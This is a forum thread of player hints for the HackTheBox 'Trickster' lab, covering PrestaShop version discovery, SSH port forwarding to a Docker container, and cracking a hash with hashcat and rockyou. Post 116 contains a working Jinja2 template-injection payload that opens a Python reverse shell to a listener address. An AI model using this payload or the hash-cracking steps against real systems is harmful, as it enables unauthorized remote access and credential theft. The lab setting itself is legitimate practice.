Trickster Discussion [HTB] [HINTS]

HackTheBox
110

where can i get prestashop version

111

Open the admin panel, you will see the version in the login page

112

Really interesting one. I am stuck at the connect to container though. My sshutle worked one time and that was it. Any hint how to connect to the docker? I did find the ip of the docker. Not sure how to connect to it now

113

me too. exploit.py only returns sometimes 404, sometimes 403.httpsever"GET 200",but no shell returns

114

i just use the normal ssh binary for port forwarding and then leave that running

115

disregard - i managed thx

116

If you’d see that. Then your payload is incorrect.

Try this

listen_ip="your_ip"
listen_port=9003
print(f"""
        {{% for x in ().__class__.__base__.__subclasses__() %}}
        {{% if "warning" in x.__name__ %}}
        {{{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\"{listen_ip}\\",{listen_port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\"/bin/bash\\")'").read()}}}}
        {{% endif %}}
        {{% endfor %}}
        """)
117

I think it was either new lines or the tabs that messed up my payload. all else was ok. testing around now to figure it out

btw thank you for your help @dannyk

1 Like
118

did u find the hash?

119

in hindsight, my issue was not the payload but that URL in general and the Notification URL List both need to be set to something legitimate that you have…meaning some server you stand up for this exploit :melting_face: i just always had them mismatch

hope this helps someone else

120

guys how did u craked the hash ?

121

i can’t be able to crack the hash

122

hashcat, put the hash in a file and crack it with rockyou. Check your mode and make sure it matches

123

i tried with 100 mode but no results

124

the hash you should be cracking starts with a $
either you are cracking something else or do not have the whole thing

edit: its not -m 100

125

with the hash is anything on http://shop.trickster.htb/.git/refs/heads/admin_panel so yeah i tried mutch times with differents wordlists but with no success

126

oh good thanks bro , where can i find this hash?

127

i know some folks keep looking at the .git folder - but i did not use that at all
to find the user hash, try the mysql db

1 Like
128

the index file is a file link how who could read a file linnk?

129

help me bro iam stuck to find the hash like 2 days